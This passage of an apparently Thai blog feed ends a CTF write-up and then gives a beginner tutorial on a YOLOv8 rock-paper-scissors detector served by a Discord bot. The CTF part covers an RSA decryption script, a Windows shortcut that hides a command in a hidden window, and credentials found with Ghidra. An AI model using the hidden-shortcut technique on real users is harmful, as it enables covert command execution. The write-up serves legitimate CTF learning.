base64_blocks = [    &quot;m3/oQS/FYXuPgKEsoCXO2NCBxkEAtMycpnl+2vY0VMaOgAGuyciaQNzYAJtSF/JpRILcmDOHJ6TRyFVw3OoEGWcSKydSbneDVgQXIEptRh0z4kvW/5ixC9o1T0Q0Yn2oH/g3mxVIng1NVzMJzENlOO1vUPtn8ktdxvW939Ovt0h4Z8HkxAwDBAsvFWA6AIALhXhb9Ih3UWx/xQoQfrf468sQldMUS29QyOHCPhpAi1CPIikiXx2Teid7AFagvFcJ2OzTax8pg3VzPv/kLnzkMxclLJA8e7/O3Mj1S+08MzU9HaDJi4Emxu+L8LoYfQHVqxkkFi3pI7v2bq/7kBWQLA==&quot;
]
private_key = serialization.load_pem_private_key(
    private_key_pem.encode(),
    password=None,
    backend=default_backend()
)
pkcs1_der = private_key.private_bytes(
    encoding=serialization.Encoding.DER,
    format=serialization.PrivateFormat.TraditionalOpenSSL,
    encryption_algorithm=serialization.NoEncryption()
)
rsa_key = RSA.import_key(pkcs1_der)
cipher = PKCS1_OAEP.new(rsa_key, hashAlgo=SHA256)
for b64 in base64_blocks:
    decrypted = cipher.decrypt(base64.b64decode(b64))
    print(decrypted.decode(errors=&quot;ignore&quot;))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;🚩Flag:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:954/format:webp/1*myfreGizM_GVtR09Nm3PxA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Forensic&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;🧨 Operation: LNK Injection (400)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;เป็นข้อที่ผมงมค่อนข้างนาน นานที่ว่าพึ่งรู้วิธีทำหลังงานจบ&lt;/p&gt;
&lt;p&gt;&amp;lt;b&amp;gt;[other]ตรูอยากวิ่งหนีออกจากงานมาก เพราะข้อนี้มันง่ายมาก[/other]&amp;lt;/b&amp;gt;&lt;/p&gt;
&lt;p&gt;โดยสิ่งที่ได้มาจะมีไฟล์ _MACOSX และไฟล์ Shortcut&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:640/format:webp/1*gx56mDMIOVWoxbfSE1pxUQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;เราสามารถทำได้หลายวิธีมาก จะ cat ผ่าน command หรือจะดู file properties ก็ได้ เดี๋ยวจะแสดงวิธีทำทั้ง 2 แบบให้ดู&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;cat&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*jnBjB8-bO44KBKQyyotdDw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;file properties&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1174/format:webp/1*b9pcGnNNh_mN14S0_uvriw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;โดย string ที่เราจะโฟกัสจะประมาณนี้&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C:\Windows\System32\notepad.exe -WindowStyle Hidden -Command &apos;Write-Host ZgBsAGEAZwB7AG8AcABlAG4AXwBmAG8AcgAyAF8AYgA2ADYANQBiADMAMwA3AGUANQA4ADQAMwAyADkAYQAzADMAZgA5ADUAYgAxAGEAYQAwADUAZABmADEAYgBiAH0A&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;จะเห็นว่าจะมี Base64 อยู่หลังคำว่า Write-Host&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ZgBsAGEAZwB7AG8AcABlAG4AXwBmAG8AcgAyAF8AYgA2ADYANQBiADMAMwA3AGUANQA4ADQAMwAyADkAYQAzADMAZgA5ADUAYgAxAGEAYQAwADUAZABmADEAYgBiAH0A
```![captionless image](https://miro.medium.com/v2/resize:fit:1400/format:webp/1*uB9ODWTrHeb7_sA4tfTCQQ.png)

🚩 จะเห็นว่า flag จะถูก Interrupted ด้วยค่า NULL เหลือแค่เอาค่า NULL ออก

ยอมรับตามตรงว่าผมเอามา decode ตั้งแต่ base32–85 แต่ไม่ได้สังเกตจริงๆ.. สงสัยรีบ 5555555

MISC
----

&amp;gt; 1. Misc 2 (400)

![captionless image](https://miro.medium.com/v2/resize:fit:1400/format:webp/1*Ue_4SRVkIDNAJM-asTx9lQ.png)

ไม่รอช้า ไม่ยากเกินใจ (～﹃～)~zZ

🚩 Flag:

![captionless image](https://miro.medium.com/v2/resize:fit:1400/format:webp/1*ta5tkHUlWJaxwRcfsyvhEw.png)

Reverse Engineering
-------------------

&amp;gt; 1. Reverse — ELF x86 — Basic

สิ่งที่เขาให้มาจะมีแค่ executable file

![captionless image](https://miro.medium.com/v2/resize:fit:624/format:webp/1*CKMD7w2-0G12YzIVbOpy5Q.png)

เราลองมาดูการทำงานคร่าวๆของมันกันก่อนดีกว่า ซึ่งเหมือนว่าเราต้อง login มันเข้าไปเพื่อเอา flag

![captionless image](https://miro.medium.com/v2/resize:fit:534/format:webp/1*duqx2eSxomNhwPt0HLNKGg.png)

เริ่มจากเปิด ghidra ขึ้นมา แล้วไปดูที่ function เผื่อมีอะไรที่น่าสนใจ

![captionless image](https://miro.medium.com/v2/resize:fit:722/format:webp/1*KMZNcxsY2q35iVZaIQpL3A.png)

จุดที่ผมสนใจจริงๆเลยก็คือ main() กับ show_flag()

&amp;gt; main() function

![captionless image](https://miro.medium.com/v2/resize:fit:1368/format:webp/1*f-dZl8W_BtDgWeGWDeqhgg.png)

&amp;gt; show_flag() function

![captionless image](https://miro.medium.com/v2/resize:fit:1400/format:webp/1*3X2enyNrbXfIGWAA5W8o1w.png)

จากที่ดูที่ main() จะปรากฏ username กับ password นั่นก็คือ mr.bean &amp;amp; inwza007 !!

🚩 Flag:

![captionless image](https://miro.medium.com/v2/resize:fit:1126/format:webp/1*-pSrP3d6nw0YAbutP_PJFw.png)

Thank for coming !!
-------------------&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>AI discord bot image detection for beginner 🤖</title><link>https://fuwari.vercel.app/posts/1aibot-discord-imagedetection/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/1aibot-discord-imagedetection/</guid><description>วันนี้ผมจะมาสอนสร้าง discord bot ที่สามารถตรวจจับภาพจาก chat แล้วนำมาประมวลผลต่อได้ ซึ่ง mini-project นี้เราจะทำให้ bot ของเรา detect มือ แล้วมาประมวลผลว่ามือเป็น ค้อน กระดาษ หรือกรรไกรรร</description><pubDate>Tue, 03 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;AI discord bot image detection for beginner 🤖&lt;/h1&gt;
&lt;p&gt;&lt;em&gt;by ShoIsMyName • Jun 2025&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Hallo! (‾◡◝)&lt;/p&gt;
&lt;p&gt;วันนี้ผมจะมาสอนสร้าง discord bot ที่สามารถตรวจจับภาพจาก chat แล้วนำมาประมวลผลต่อได้ ซึ่ง mini-project นี้เราจะทำให้ bot ของเรา detect มือ แล้วมาประมวลผลว่ามือเป็น ค้อน กระดาษ หรือกรรไกรรร 🪨📃✂️&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Q: แล้วให้มัน detect อย่างอื่นไม่ได้หรอ ? 〒▽〒
A: ได้แน่นอนน แค่เปลี่ยน dataset ที่จะ train model&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;โดย project ที่นี้เหมาะสำหรับมือใหม่ๆสุดๆ โดยเราจะไม่จำเป็นต้อง setting พวก Layer, Activation function, Hidden layer เลย&lt;/p&gt;
&lt;h2&gt;🍎 Let start !!&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Gather Dataset 📷&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;p&gt;ตอนเด็กเรามักจะได้เห็นสิ่งของ สัตว์หรือภาพตรงหน้า และเรียนรู้ว่าสิ่งๆนั้นมันคืออะไร กระบวนการเรียนรู้แบบนี้คือ เรียนรู้จากข้อมูล , AI ก็เหมือนกัน&lt;/p&gt;
&lt;p&gt;สิ่งที่เราต้องมีคือ&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Images (ภาพที่ต้องการให้เรียนรู้)&lt;/li&gt;
&lt;li&gt;Annotation (สิ่งที่จะบอก AI ว่าวัตถุอยู่ตำแหน่งไหนของภาพ)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;ข้อย้อนกลับไปประโยคข้างบนที่ว่า “AI ก็เหมือนกัน” เราจะมาขยายความเล็กๆกันหน่อย เผื่อจะทำให้ทุกคนเห็นภาพในมากขึ้น&lt;/p&gt;
&lt;p&gt;ขณะที่ AI หรือ model กำลังเรียนรู้ ข้อมูลที่ส่งเข้าไปข้างในก็จะมีภาพและ annotation, เมื่อมันเห็นข้อมูล มันก็จะปรับ weight ปรับ bias เพื่อทำให้ตัวเลขหรือค่าสถิติเหมาะสมที่พร้อมสำหรับการทำนาย&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ความจริง model ไม่ได้เข้าใจภาพจริงๆหรอก มันแค่ใช้ค่าสถิติเพื่อมาวิเคราะห์ภาพเพียงเท่านั้น&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Let’s start gathering the images!!&lt;/h3&gt;
&lt;p&gt;เราสามารถเอาภาพจาก internet หรือจะถ่ายเอาเองก็ได้ ยิ่งภาพเยอะ ai ก็เรียนรู้ได้เยอะ แต่อย่าลืมนะว่าเราก็ต้องทำ annotation เยอะเช่นกัน (ขั้นตอนนี้เหนื่อยเอาเรื่องเลยล่ะ)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*ws33PbPV8Q09XAeol56S8A.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ภาพที่เราควรมีควรเป็นภาพที่ความหลากหลาย แต่ยังคงมี object ที่เป็นเป้าหมายของเราอยู่ เช่น จากหัวข้อเราจะทำ AI detect hand เราก็ต้องมีภาพที่มีมืออยู่ในนั้น แนะนำว่าอย่าเป็นมือที่มี background เดิมๆ หาภาพที่มี background ที่แตกต่างกัน, ภาพมือจากองศาต่างๆ ✊🏻🤚🏻✌🏻(ปัญหา overfitting model เดี๋ยวจะอธิบาย) และสุดท้ายคือข้อมูลปลอม&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;คำถามคือ “ ทำไมต้องใส่ข้อมูลปลอมล่ะ? “&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;บางคนอาจคิดว่าถ้าเราใส่ข้อมูลปลอมให้ model เรียน มันอาจทำให้ AI ของเราเรียนรู้ข้อมูลที่ผิดและทำให้การ predict แม่นยำน้อยลง..&lt;/p&gt;
&lt;p&gt;ความจริงไม่เป็นเช่นนั้น เพราะข้อมูลที่ประกอบกับภาพมันจะมีสิ่งที่เรียกว่า annotation อยู่ด้วย ในทางกลับกัน เมื่อเราใส่ข้อมูลปลอม หรือภาพที่ไม่มีมือ เราก็ไม่ต้องใส่ annotation ลงไป (AI มันจะรู้เองว่าในภาพ มันไม่มีเป้าหมาย)&lt;/p&gt;
&lt;p&gt;อีกประเด็นสุดท้าย! ผมขออธิบายเกี่ยวกับ overfitting model&lt;/p&gt;
&lt;p&gt;Overfitting model สั้นคือ ความอคติของโมเดลที่เราเทรน ยังไม่เห็นภาพล่ะสิ!..&lt;/p&gt;
&lt;p&gt;ขอยก case study อันนึง เรื่องมีอยู่ว่า นาย A ได้การบ้านให้ไปสร้าง AI ที่สามารถตรวจจับคนได้ นาย A เลยหา dataset ที่เป็นภาพตัวเองกำลังยืนในห้อง&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*R5LjxNTZgjHCNiNnize7wg.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;นาย A ใช้แค่ข้อมูลภาพที่เป็นภาพของตัวเองอย่างเดียว เป็นภาพที่เป็น background เดิม และเสื้อตัวเดิม.. หลัง train ให้ model เสร็จ ผลลัพธ์คือมันสามารถ detect นาย A ได้อย่างแม่นยำ&lt;/p&gt;
&lt;p&gt;วันต่อมา.. นาย A เอา AI ที่ภาคภูมิใจไปนำเสนอ.. แต่! แต่!! ทำไมAI ที่ Train มา กลับไม่ Detect อะไรเลย !! ทำไมกันล่ะ?!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1092/format:webp/1*aP-P5NKLos6dlIsubWCSXg.png&quot; alt=&quot;นาย A Belike: 😧&quot; /&gt;&lt;/p&gt;
&lt;p&gt;นั่นเป็นเพราะว่าสิ่งที่นาย A ได้ train ไปเป็นข้อมูลที่ไม่มีความหลากหลาย และเจาะจงจนเกินไป จน model AI มัน detect เฉพาะคนที่ใส่เสื้อ,กางเกงที่นาย A ใส่เมื่อวาน และ background เป็นห้องที่นาย A ได้ถ่ายเท่านั้น ( เห็นๆเลยว่า AI มันอคติกับข้อมูล )&lt;/p&gt;
&lt;p&gt;จบเรื่องของการ gather images แล้ว มาต่อ annotation กันดีกว่า !! 👈(ﾟヮﾟ👈)&lt;/p&gt;
&lt;p&gt;อย่างที่บอกไปว่ามันคือการระบุตำแหน่งของ object ในภาพ&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;แล้วมันทำยังไงล่ะ ?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;ง่ายมากๆ!! ก็แค่ลากกรอบ 4 เหลี่ยมครอบ object&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*qbZPJkAS2CbbYACC2G5HPg.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ซึ่งการทำ annotation นั้นไม่ได้เป็นเพียงแค่ลากกรอบนะ! แต่เราต้องบันทึกตำแหน่ง x1,y1,x2,y2 ด้วย (ตำแหน่งกรอบของมุมบนซ้ายและล่างขวา) และจดบันทึกข้างหน้าตำแหน่งด้วยว่าอยู่ Class ไหน เช่น Class 0= rock, 1 = paper, 2 = scissors&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;เช่น 146 225 502 575 0
(146, 225) ตำแหน่ง x,y ที่ระบุตำแหน่งของมุมซ้ายบนของกรอบ
(502, 575) เหมือนกัน แต่เป็นขวาล่าง
0 คือ Variable ของ class นั่นก็คือ rock&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;ซึ่งความจริงลักษณะการ format เก็บข้อมูลสำหรับใช้งาน ก็จะแตกต่างกันไปแล้วแต่ว่าจะใช้กับ library ไหน ถ้าใช้กับ YOLO ก็จะเป็นอีก format นึง&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;1 0.6703125 0.62421875 0.11015625 0.190625
1 0.4625 0.83046875 0.10625 0.1828125
(Example YOLO format)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;ถ้าเราจะทำเองมันก็เหนื่อยเอาเรื่องเลยล่ะ&lt;/p&gt;
&lt;p&gt;เลยมี website ที่จะช่วยให้เราลากกรอบและบันทึกข้อมูลและ format ให้อัตโนมัติ ที่ชอบมากๆคือสามารถ Export เป็น format ไหนก็ได้ที่เราต้องการใช้ ที่เราจะใช้คือ YOLOv8 เพราะเราจะใช้มันเทรนด้วย Library YOLO นั่นเองง&lt;/p&gt;
&lt;p&gt;เว็บไซต์นั้นคืออออออ….&lt;/p&gt;
&lt;h2&gt;Roboflow&lt;/h2&gt;
&lt;h2&gt;[Sign in to Roboflow&lt;/h2&gt;
&lt;h3&gt;Even if you&apos;re not a machine learning expert, you can use Roboflow train a custom, state-of-the-art computer vision…&lt;/h3&gt;
&lt;p&gt;app.roboflow.com](https://app.roboflow.com/?source=post_page-----7a169452d4ed---------------------------------------)&lt;/p&gt;
&lt;p&gt;รออะไรกัน เริ่มกันเลย !!&lt;/p&gt;
&lt;p&gt;Click project &amp;gt; new project&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*uWzBwW8A6fLqw5Go0Ah07A.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ตั้งชื่อ project name, annotation group ส่วน license ตามใจชอบเลย
กด &amp;gt; create public project&lt;/p&gt;
&lt;p&gt;upload รูปภาพเราเลย (ผมขอยกตัวอย่างแค่รูปเดียวนะ.. ขี้เกียจ5555)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*9meJ_WIZPcptWWqZTYHGtg.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;จากนั้นไปแถบ Annotate &amp;gt; Annotate Images &amp;gt; Start Labeling &amp;gt; Assign to myself แล้วกลับไปเมนู Annotate อีกครั้ง&lt;/p&gt;
&lt;p&gt;กด Start Annotating ที่มุมบนขวา&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*GUnxTljWvFckx_ieqnGt0Q.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ให้ลากกรอบแล้วระบุ class ว่าเป็นอะไร&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*2Xlqlj8SPOwcvmVjz4fcJQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ถ้าเสร็จแล้ว กดย้อนกลับเลย และกด Add image to dataset ตรงมุมเดิมเลย (ในเมนู Annotate ที่เดิมที่เรามา)&lt;/p&gt;
&lt;p&gt;ไปที่เมนู Versions&lt;/p&gt;
&lt;p&gt;ตอนนี้ให้เราทำการตั้งค่าไฟล์ dataset ของเรา&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*lVT8U0lYhy9557YSveY9pQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;อย่าพึ่ง งง นะ! เดี๋ยวเฮียจะอธิบายสั้นๆให้ก่อน
ส่วนละเอียดๆ จะอยู่หลังสั้นๆ 😏&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Source Images: เลือกรูปที่จะนำเข้า&lt;/p&gt;
&lt;p&gt;Train/ Test Split: แบ่งชุดข้อมูล&lt;/p&gt;
&lt;p&gt;Preprocessing: แปลงรูปให้เหมาะกับการเข้าโมเดล AI&lt;/p&gt;
&lt;p&gt;Augmentation: จำลองสถานการณ์ภาพด้วยการดัดแปลงภาพ&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;มา !! ได้เวลาอธิบายแบบละเอียด แบบสบายยยๆ~~~~&lt;/p&gt;
&lt;h3&gt;รู้วิธีการสร้าง dataset กันแล้ว เรามารู้ข้างในกันบ้างดีกว่า ;-)&lt;/h3&gt;
&lt;p&gt;ข้อมูลที่จะสอน AI หรือ model นั้นประกอบด้วย train set, valid set, test set&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;train set มีไว้สอน
valid set มีไว้ทดสอบระหว่างสอน
test set มีไว้ทดสอบ model เพื่อที่เราจะได้รู้ว่าโมเดลมีความแม่นยำแค่ไหน&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;แล้วข้อมูลชุดสอนและสอบมันจำเป็นต้องมีการปรับขนาดภาพให้เหมาะสมกับโมเดล เช่น การ resize, grayscale, normalization (ปรับค่าพิกเซลให้อยู่ในช่วง 0–1 เพื่อช่วยให้ AI เรียนรู้ดีขึ้น) อันนี้ก็แล้วแต่เลยในส่วนของ preprocessing&lt;/p&gt;
&lt;p&gt;ต่อมา augmentation ก็คือจำลองสถานการณ์ภาพ เช่น ทำให้ภาพเบลอ ภาพแตก เวลาได้ dataset มาก็จะมีภาพที่มีสถานการณ์ต่างๆมาให้ model เรียนรู้ (ภาพนึงใส่ 3 augmentation ก็จะได้เพิ่มอีก 3 ภาพที่มีสถานการณ์ที่เราเลือก)&lt;/p&gt;
&lt;h2&gt;Create !!&lt;/h2&gt;
&lt;p&gt;จากนั้นกด download dataset เลยค้าบเฮีย&lt;/p&gt;
&lt;p&gt;เลือก Format YOLOv8&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*MMTYWGzZu3P6f1ia54Xq-w.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;สามารถโหลดโดยการ run code หรือ bash ก็ได้ ถ้ากลัว error ก็ Raw URL หรือ กดปุ่ม “Copy Snippet and Open Notebook” เลยย&lt;/p&gt;
&lt;p&gt;ถ้ารันใน vscode บางครั้งอาจ error เพราะไม่ได้ติดตั้ง library
เราจะหนีปัญหาโดยการใช้ Google colab เลยละกัน55555&lt;/p&gt;
&lt;p&gt;จะว่าไปก็ไม่เชิงหนีหรอก เพราะเป็นการแก้ปัญหาสเปคคอมไม่แรงด้วย เพราะการเทรนต้องใช้ cpu หรือ gpu เลย ซึ่ง Google colab ให้เราใช้ gpu ของทางเขาได้ฟรีๆเลย ขอเพียงแค่มีเน็ต :-D&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*aBwUj5-ks4_rZ4vsGfN_Xw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ไปที่ website Google colab&lt;/p&gt;
&lt;h2&gt;[colab.google&lt;/h2&gt;
&lt;h3&gt;Colab is a hosted Jupyter Notebook service that requires no setup to use and provides free access to computing…&lt;/h3&gt;
&lt;p&gt;colab.google](https://colab.google/?source=post_page-----7a169452d4ed---------------------------------------)&lt;/p&gt;
&lt;p&gt;กด new notebook แล้วเริ่มกัน&lt;/p&gt;
&lt;p&gt;run code ที่ได้มา โค้ดนี้จะเป็นการติดตั้ง dataset ที่เราสร้าง&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*vfHG625KnuokDW2U44mcJw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;จากนั้นให้เริ่ม train เลย&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from ultralytics import YOLO
model = YOLO(&apos;yolov8n.pt&apos;)
model.train(data=&apos;./YOUR_FILE_NAME/data.yaml&apos;, epochs=30, imgsz=640)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;บอกไว้ก่อนเลยนะว่าต้องมีข้อมูล train, valid , test ไม่งั้น error แหงๆ&lt;/p&gt;
&lt;p&gt;epochs คือจำนวนรอบที่จะเทรน ยิ่งเยอะค่า loss ก็ยิ่งต่ำ แต่เวลาเทรนก็สูงเพิ่มขึ้น&lt;/p&gt;
&lt;p&gt;imgsz คือขนาดภาพ ในที่นี้คือ 640px&lt;/p&gt;
&lt;p&gt;ของผม train ไว้แล้วซึ่งเป็นคนละ dataset ตะกี้คือยกตัวอย่าง&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*Drgkpif4pfFxahLH2AzsfA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*M6gcmNMMH5a5H6oX1vFZ9g.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;บอกเลย ตอนเทรนนี่ได้นอนยาววว เพราะมันนาน ขึ้นอยู่กับขนาด dataset และ epochs&lt;/p&gt;
&lt;p&gt;เมื่อ train เสร็จก็จะได้ folder พวกนี้มา (ผม train ใน vscode หน้าตาก็จะแตกต่างกันหน่อย)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:524/format:webp/1*ChG6KXhiOlXOHI-XiHVLMA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;best.pt คือไฟล์ weight ที่พร้อมที่จะใช้งาน&lt;/p&gt;
&lt;p&gt;เราสามารถลองเล่นโดยใช้กล้องของเราก็ได้นะ! อ่ะนี่โค้ด!!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import cv2
from ultralytics import YOLO
# ใช้ไฟล์ weight ที่ผ่านการ train เพื่อนำมา predict
model = YOLO(&apos;runs/detect/train/weights/best.pt&apos;)
# ใช้กล้องโดยระบุตัวที่ 0 ก็คือ webcam ของเรา
cap = cv2.VideoCapture(0)
while True:
    ret, frame = cap.read() # capture frame by frame
    if not ret: # ถ้าไม่พบให้ปิด
        break
    results = model(frame) # เมื่อได้ frame ให้นำไปวิเคราะห์ด้วย model
    annotated_frame = results[0].plot() # วาดกรอบลงไปบนภาพ
    cv2.imshow(&quot;What the hand?&quot;, annotated_frame) # ตั้งชื่อจอ
    
    # กด q เพื่อหยุดการทำงาน
    if cv2.waitKey(1) &amp;amp; 0xFF == ord(&quot;q&quot;):
        break
cap.release()
cv2.destroyAllWindows()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;หรือจะให้มันอ่านไฟล์ภาพแล้วแสดงผลเอาก็ได้เหมือนกัน&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import cv2
from ultralytics import YOLO
model = YOLO(&apos;runs/detect/train/weights/best.pt&apos;)
image_path = &apos;./testingmymodel.jpg&apos;
img = cv2.imread(image_path) # อ่านไฟล์ภาพ
# เก็บ output ไว้ที่ตัวแปร results output บอกว่าเป็น class อะไรและอยู่ตำแหน่งไหน
results = model(img, verbose=False)[0]
print(results.boxes) # print มาดูเฉยๆ555
for box in results.boxes:
    x1, y1, x2, y2 = map(int, box.xyxy[0]) # เก็บตำแหน่งมุมบนซ้ายและล่างขวาไว้วาดกรอบ
    cls = int(box.cls[0]) # เก็บตัวแปร class
    conf = float(box.conf[0]) # ตัวแปร confident (ความมั่นใจของ model)
    label = f&quot;{model.names[cls]} ({conf:.2f})&quot; # text ที่จะเขียนบนกรอบ
    cv2.rectangle(img, (x1, y1), (x2, y2), (0, 255, 0), 2) # วาดกรอบ
    # ใส่ข้อความบนภาพ
    cv2.putText(img, f&quot;Beep! Beep!: {label}&quot;, (x1, y1 - 10), cv2.FONT_HERSHEY_SIMPLEX, 0.6, (0, 255, 0), 2)
cv2.imshow(&quot;Detection Result&quot;, img)
cv2.waitKey(0)
cv2.destroyAllWindows()
# cv2.imwrite(&quot;result.jpg&quot;, img)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;บรรทัดล่างสุดคือเซฟไฟล์ ผม comment ไว้เผื่อคนที่อยากรันแล้วไม่อยากเซฟไฟล์&lt;/p&gt;
&lt;p&gt;ถึงขั้นตอนสุดท้ายแล้ววว เมื่อเราทดสอบว่า model ของเราฉลาดมากน้อย อย่างสุดท้ายก็คือการ deploy ไปที่ discord bot 🎉&lt;/p&gt;
&lt;p&gt;นี่คือโค้ดที่ใช้กับ discord bot :&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import discord
from discord.ext import commands
import aiosqlite
import cv2
from ultralytics import YOLO
import os
import asyncio
intents = discord.Intents.default()
intents.message_content = True
bot = commands.Bot(command_prefix=&apos;!&apos;, intents=intents)
# แสดง status ของบอท
@bot.event
async def on_ready():
    print(f&quot;{bot.user} is working :-D&quot;)
# หน้าที่ของบอท
@bot.event
async def on_message(message):
    # ข้าม message ของตัวบอทเอง
    if message.author == bot.user:
        return
    
    # ถ้าเจอข้อความ
    if message.attachments:
        for attachment in message.attachments:
            # ถ้าข้อความเป็น type image
            if attachment.content_type.startswith(&quot;image/&quot;):
                
                img_bytes = await attachment.read() # อ่าน bytes ของภาพ
                filename = f&quot;received_{attachment.filename}&quot; # สร้างไฟล์ใหม่สำหรับใส่ภาพใหม่
                with open(filename, &quot;wb&quot;) as f: 
                    f.write(img_bytes) # เอา bytes มาใส่ในไฟล์ภาพที่พึ่งสร้างใหม่ (คล้ายกับการโหลดไฟล์แต่ดีกว่า download ตรงๆ)
                await message.channel.send(&quot;Processing...&quot;)
                # Start predict
                model = YOLO(&apos;weights/best.pt&apos;)
                img = cv2.imread(filename)
                results = model(img, verbose=False)[0]
                print(results.boxes)
                for box in results.boxes:
                    x1, y1, x2, y2 = map(int, box.xyxy[0])
                    cls = int(box.cls[0])
                    conf = float(box.conf[0])
                    label = f&quot;{model.names[cls]} ({conf:.2f})&quot;
                    cv2.rectangle(img, (x1, y1), (x2, y2), (0, 255, 0), 2)
                    cv2.putText(img, f&quot;Beep! Beep!: {label}&quot;, (x1, y1 - 10), cv2.FONT_HERSHEY_SIMPLEX, 0.6, (0, 255, 0), 2)
                cv2.imwrite(f&quot;result_{filename}.jpg&quot;, img) # SAVE OUTPUT
                # ส่งภาพใน chat และลบไฟล์ทั้งหมดออกไปเพื่อ clear memory
                await message.channel.send(file=discord.File(f&quot;result_{filename}.jpg&quot;))
                os.remove(f&quot;result_{filename}.jpg&quot;)
                os.remove(filename)
                return
  
    await bot.process_commands(message)
# ใส่ token เด้อ เดี๋ยวบอทไม่ทำงาน
bot.run(&quot; CHANGE THIS TO YOUR BOT TOKEN :-D &quot;)
&lt;/code&gt;&lt;/pre&gt;
